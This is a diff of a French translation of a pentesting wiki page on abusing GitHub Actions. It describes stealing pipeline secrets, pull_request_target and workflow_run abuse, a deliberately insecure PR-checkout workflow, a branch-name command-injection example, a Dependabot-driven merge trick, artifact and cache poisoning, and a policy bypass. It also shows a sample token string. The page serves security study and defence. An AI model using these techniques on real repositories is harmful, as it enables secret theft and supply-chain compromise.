Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,58 +1,58 @@
-# Abuser de Github Actions
+# Abuser Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Outils
 
-Les outils suivants sont utiles pour trouver des workflows Github Action et même en identifier des vulnérables :
+Les outils suivants sont utiles pour trouver des workflows Github Action et même repérer ceux vulnérables :
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Consultez aussi sa checklist sur [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Informations de base
 
-Sur cette page vous trouverez :
+Sur cette page, vous trouverez :
 
-- Un **résumé de tous les impacts** qu'un attaquant peut causer en accédant à une Github Action
-- Différentes façons de **obtenir l'accès à une action** :
-- Avoir les **permissions** pour créer l'action
-- Abuser des **déclencheurs** liés aux **pull request**
-- Abuser d'**autres techniques d'accès externe**
-- **Pivoting** depuis un repo déjà compromis
-- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (provoquant les impacts mentionnés)
+- Un **résumé de tous les impacts** lorsqu'un attaquant parvient à accéder à une Github Action
+- Différentes manières d'**obtenir l'accès à une action** :
+- Avoir les **permissions** nécessaires pour créer l'action
+- Abuser des triggers liés aux **pull request**
+- Abuser d'**autres techniques d'accès externes**
+- Pivot depuis un repo déjà compromis
+- Enfin, une section sur les **techniques post-exploitation pour abuser d'une action depuis l'intérieur** (provoquant les impacts mentionnés)
 
 ## Résumé des impacts
 
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Pour une introduction sur [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **dépôt**, vous pourriez être en mesure de :
+Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourrez peut-être :
 
-- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
-- **Compromettre des déploiements** et d'autres **artefacts**.
-- Si le pipeline déploie ou stocke des assets, vous pouvez altérer le produit final, permettant une supply chain attack.
-- **Exécuter du code sur des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
-- **Écraser le code du dépôt**, selon les permissions associées au `GITHUB_TOKEN`.
+- **Steal secrets** montés sur le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
+- **Compromise deployments** et autres **artifacts**.
+- Si le pipeline déploie ou stocke des assets, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
+- **Execute code in custom workers** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
+- **Overwrite repository code**, selon les permissions associées au `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
+Ce **secret** (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ce token est le même que celui qu'une **Github Application will use**, il peut donc accéder aux mêmes endpoints : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access au sein de GitHub, donc un repo peut accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
 
 Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Notez que le token **expire après l'exécution du job**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Notez que le token **expire après la fin du job**.\
+Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Quelques usages intéressants de ce token :
+Quelques actions intéressantes que vous pouvez effectuer avec ce token :
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Notez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner davantage de privilèges sur le dépôt et l'organisation.
+> Sachez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
 
 <details>
 
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Obtenir un reverse shell avec des secrets</summary>
+<summary>Obtenir reverse shell avec secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs **en vérifiant les logs** des actions :
+Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs en **vérifiant les logs** des actions :
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Exécution autorisée
 
 > [!NOTE]
-> Ceci serait la façon la plus simple de compromettre Github actions, car ce cas suppose que vous avez accès pour **créer un nouveau repo dans l'organisation**, ou que vous avez des **privilèges d'écriture sur un repository**.
+> Ceci serait le moyen le plus simple de compromettre les Github actions, car ce cas suppose que vous avez la possibilité de **créer un nouveau repo dans l'organisation**, ou que vous disposez de **privilèges d'écriture sur un repository**.
 >
-> Si vous êtes dans ce scénario vous pouvez juste check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
+> Si vous êtes dans ce scénario vous pouvez simplement consulter les [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Exécution depuis la création d'un repo
+### Exécution lors de la création d'un Repo
 
-Si les membres d'une organisation peuvent **create new repos** et que vous pouvez exécuter github actions, vous pouvez **create a new repo and steal the secrets set at organization level**.
+Si les membres d'une organisation peuvent **créer de nouveaux repos** et que vous pouvez exécuter des Github actions, vous pouvez **créer un nouveau repo et voler les secrets définis au niveau de l'organisation**.
 
 ### Exécution depuis une nouvelle branche
 
-Si vous pouvez **create a new branch in a repository that already contains a Github Action** configurée, vous pouvez la **modify**, **upload** le contenu, et ensuite **execute that action from the new branch**. De cette façon vous pouvez **exfiltrate repository and organization level secrets** (mais vous devez savoir comment ils sont appelés).
+Si vous pouvez **créer une nouvelle branche dans un repository qui contient déjà une Github Action** configurée, vous pouvez la **modifier**, **uploader** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette façon vous pouvez **exfiltrer les secrets au niveau du repository et de l'organisation** (mais vous devez savoir comment ils s'appellent).
 
 > [!WARNING]
-> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
+> Toute restriction implémentée uniquement dans le workflow YAML (par exemple, `on: push: branches: [main]`, conditionnels de job, ou gates manuelles) peut être éditée par des collaborateurs. Sans application externe (branch protections, protected environments, and protected tags), un contributeur peut retargeter un workflow pour l'exécuter sur sa branche et abuser des secrets/permissions montés.
 
-Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'une **PR est créée** ou lorsqu'un **push est effectué** (selon le niveau de bruit que vous souhaitez) :
+Vous pouvez rendre l'action modifiée exécutable **manuellement,** lors de la création d'une **PR** ou lorsque **du code est poussé** (selon le niveau de bruit souhaité) :
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
 ```
 ---
 
-## Exécution forkée
+## Exécution depuis un fork
 
 > [!NOTE]
-> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une Github Action d'un autre repository**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être capable de les compromettre.
+> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter un Github Action d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait les compromettre.
 
 ### `pull_request`
 
-Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un(e) **maintainer** devra **approuver** l'**exécution** du workflow :
+Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **contribuez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Comme la **limitation par défaut** s'applique aux contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
+> Comme la **limitation par défaut** concerne les contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouvelles privilèges `pull_request`**.
 >
-> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte au nom de quelqu'un qui a contribué au projet et qui a supprimé son compte.~~
+> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et supprimer son compte.~~
 
-De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** dans le dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Avec l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché à partir d'un **repository forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **provenant de repositories forkés**.
+> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **venant de dépôts forkés**.
 
-Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
+Un attaquant pourrait modifier la définition du Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
 
 > [!CAUTION]
-> **Oui, si l'attaquant change dans la PR la github action qui sera déclenchée, sa Github Action sera celle utilisée et non celle du repo d'origine !**
+> **Oui : si l'attaquant modifie dans la PR le Github Action qui sera déclenché, c'est son Github Action qui sera utilisé et non celui du dépôt d'origine !**
 
-Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ni de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **téléverser des artefacts malveillants**.
+Comme l'attaquant contrôle aussi le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, il pourrait par exemple **téléverser des artefacts malveillants**.
 
 ### **`pull_request_target`**
 
-Le workflow trigger **`pull_request_target`** dispose de **permissions d'écriture** sur le dépôt cible et **d'accès aux secrets** (et ne demande pas d'autorisation).
+Le workflow trigger **`pull_request_target`** a des **permissions d'écriture** sur le dépôt cible et **accès aux secrets** (et ne demande pas d'autorisation).
 
-Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte base** et non dans celui fourni par la PR (afin de ne pas exécuter du code non fiable). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez cet [**article du blog GitHub**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui fourni par la PR (pour **ne pas exécuter du code non fiable**). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+De plus, pour plus d'infos sur cet usage particulièrement dangereux, consultez ce [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-On pourrait penser que parce que le workflow exécuté est celui défini dans la branche base et non dans la PR, il est sûr d'utiliser `pull_request_target`, mais il y a quelques cas où ce n'est pas le cas.
+On pourrait penser que parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, il est **sûr** d'utiliser **`pull_request_target`**, mais il y a quelques cas où ce n'est pas le cas.
 
-Et celui-ci aura accès aux secrets.
+Et celui-ci aura **accès aux secrets**.
 
 ### `workflow_run`
 
-Le trigger `workflow_run` permet d'exécuter un workflow à partir d'un autre lorsque celui-ci est `completed`, `requested` ou `in_progress`.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
-Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow distinct "Run Tests" soit terminé :
+In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
 ```yaml
 on:
 workflow_run:
@@ -230,10 +230,9 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-De plus, d'après la documentation : Le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne pouvait pas**.
+De plus, selon la documentation : le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne le pouvait pas**.
 
-Ce type de workflow peut être attaqué s'il dépend d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`  
-Le second consiste à **passer** un **artifact** depuis le code **non fiable** vers le workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
+Ce type de workflow peut être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`. Le second consiste à **passer** un **artifact** provenant du code **untrusted** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à une RCE**.
 
 ### `workflow_call`
 
@@ -243,16 +242,16 @@ TODO : Vérifier si, lorsqu'il est exécuté depuis un pull_request, le code uti
 
 ## Abusing Forked Execution
 
-Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
+Nous avons mentionné toutes les manières dont un attaquant externe peut faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
 
-### Exécution du checkout non fiable
+### Untrusted checkout execution
 
-Dans le cas de **`pull_request`**, le workflow va être exécuté dans le **contexte du PR** (donc il exécutera le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
+Dans le cas de **`pull_request`**, le workflow sera exécuté dans le **contexte du PR** (il exécutera donc le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
 
-Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché depuis **`pull_request_target` ou `pull_request`**, le code du repo d'origine sera exécuté, donc **l'attaquant ne peut pas contrôler le code exécuté**.
+Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché par **`pull_request_target` ou `pull_request`**, le code du repo original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
 
 > [!CAUTION]
-> Cependant, si l'**action** effectue un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
+> Cependant, si l'**action** a un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -282,32 +281,32 @@ message: |
 Thank you!
 </code></pre>
 
-Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** puisque les scripts de build et les **packages référencés sont contrôlés par l'auteur du PR**.
+Le code potentiellement **untrusted est exécuté pendant `npm install` ou `npm build`** car les scripts de build et les **packages** référencés sont contrôlés par l'auteur du PR.
 
 > [!WARNING]
-> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de façon sécurisée même si l'action est configurée de manière non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
+> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de manière sécurisée même si l'action est configurée de façon non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
 
-### Injections de script via les contextes <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
+Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quelque chose**, cela peut conduire à une **exécution de code arbitraire :**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **Injection via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
+D'après la doc : vous pouvez rendre une **variable d'environnement disponible pour les étapes suivantes** d'un job en définissant ou en mettant à jour la variable et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
 
-Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable d'**env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes comme **LD_PRELOAD** ou **NODE_OPTIONS**.
+Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable **env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes, comme **LD_PRELOAD** ou **NODE_OPTIONS**.
 
 Par exemple ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabot et autres bots de confiance
+### Dependabot and other trusted bots
 
-Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge toute PRR venant de `dependabot[bot]` comme dans :
+Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge tout PRR venant de `dependabot[bot]` comme dans :
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +316,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons d'amener l'utilisateur `dependabot[bot]` à modifier une PR. Par exemple :
+Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a causé le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur `dependabot[bot]` modifie une PR. Par exemple :
 
-- Créez un fork du dépôt victime
-- Ajoutez la payload malveillante à votre copie
-- Activez Dependabot sur votre fork en ajoutant une dépendance obsolète. Dependabot créera une branche corrigeant la dépendance avec du code malveillant.
-- Ouvrez une Pull Request vers le dépôt victime depuis cette branche (la PR sera créée par l'utilisateur donc rien ne se passera pour l'instant)
-- Ensuite, l'attaquant revient à la PR initiale que Dependabot a ouverte dans son fork et exécute `@dependabot recreate`
-- Ensuite, Dependabot effectue certaines actions sur cette branche, ce qui modifie la PR sur le dépôt victime, faisant de `dependabot[bot]` l'actor du dernier événement ayant déclenché le workflow (et donc, le workflow s'exécute).
+- Fork the victim repository
+- Add the malicious payload to your copy
+- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
+- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
+- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
+- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
 
-Pour continuer, que se passerait-il si, au lieu de merger, la Github Action avait une command injection comme dans :
+Pour aller plus loin, que se passe-t-il si, au lieu de merger, la Github Action comportait une injection de commande comme dans :
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,24 +335,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Le billet original propose deux options pour abuser de ce comportement, la deuxième étant :
+Eh bien, l'article original propose deux options pour abuser de ce comportement, la deuxième étant :
 
-- Faire un fork du dépôt victime et activer Dependabot avec une dépendance obsolète.
-- Créer une nouvelle branche contenant le code malveillant de shell injection.
-- Changer la branche par défaut du repo pour celle-ci
-- Créer une PR depuis cette branche vers le dépôt victime.
-- Exécuter `@dependabot merge` dans la PR que Dependabot a ouverte dans son fork.
-- Dependabot fusionnera ses changements dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt victime, faisant maintenant du `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et en utilisant un nom de branche malveillant.
+- Fork le dépôt victime et activer Dependabot avec une dépendance obsolète.
+- Create a new branch with the malicious shell injection code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Github Actions tiers vulnérables
+### Github Actions de tiers vulnérables
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de plusieurs repositories.
+Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de repositories.
 
-Le problème est que si le **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
+Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire courant et il peut écraser des fichiers qui pourraient ensuite être utilisés ou même exécutés dans le workflow. Par conséquent, si l'Artifact est vulnérable, un attaquant pourrait abuser de cela pour compromettre d'autres workflows faisant confiance à l'Artifact.
 
-Exemple de workflow vulnérable:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -393,27 +392,27 @@ path: ./script.py
 ```
 ---
 
-## Autres External Access
+## Autre accès externe
 
 ### Deleted Namespace Repo Hijacking
 
-Si un compte change son nom, un autre utilisateur peut enregistrer un compte avec ce nom après un certain temps. Si une repository avait **moins de 100 stars avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer une **repository avec le même nom** que celle supprimée.
+If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
 > [!CAUTION]
-> Donc, si une action utilise un repo provenant d'un compte inexistant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
+> Donc si une action utilise un repo provenant d'un compte non existant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
 
-Si d'autres repositories utilisaient **dependencies provenant des repos de cet utilisateur**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous avons un certain accès au premier (voir la section précédente).
+> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous ayons un certain accès au premier (voir la section précédente).
 
 ### Cache Poisoning
 
-Un cache est maintenu entre les **wokflow runs in the same branch**. Ce qui signifie que si un attaquant parvient à **compromise** un **package** qui est ensuite stocké dans le cache et **downloaded** et exécuté par un workflow **more privileged**, il pourra également **compromise** ce workflow.
+A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +420,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Les workflows peuvent utiliser des **artifacts from other workflows and even repos**, si un attaquant parvient à **compromise** le Github Action qui **uploads an artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromise the other workflows** :
+Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,7 +432,7 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-Comme expliqué dans [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), même si une repository ou organisation a une policy restreignant l'utilisation de certaines actions, un attaquant pourrait simplement télécharger (`git clone`) une action dans le workflow puis la référencer comme une action locale. Comme les policies n'affectent pas les local paths, **the action will be executed without any restriction.**
+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
 
 Example:
 ```yaml
@@ -468,11 +467,11 @@ Consultez les pages suivantes :
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
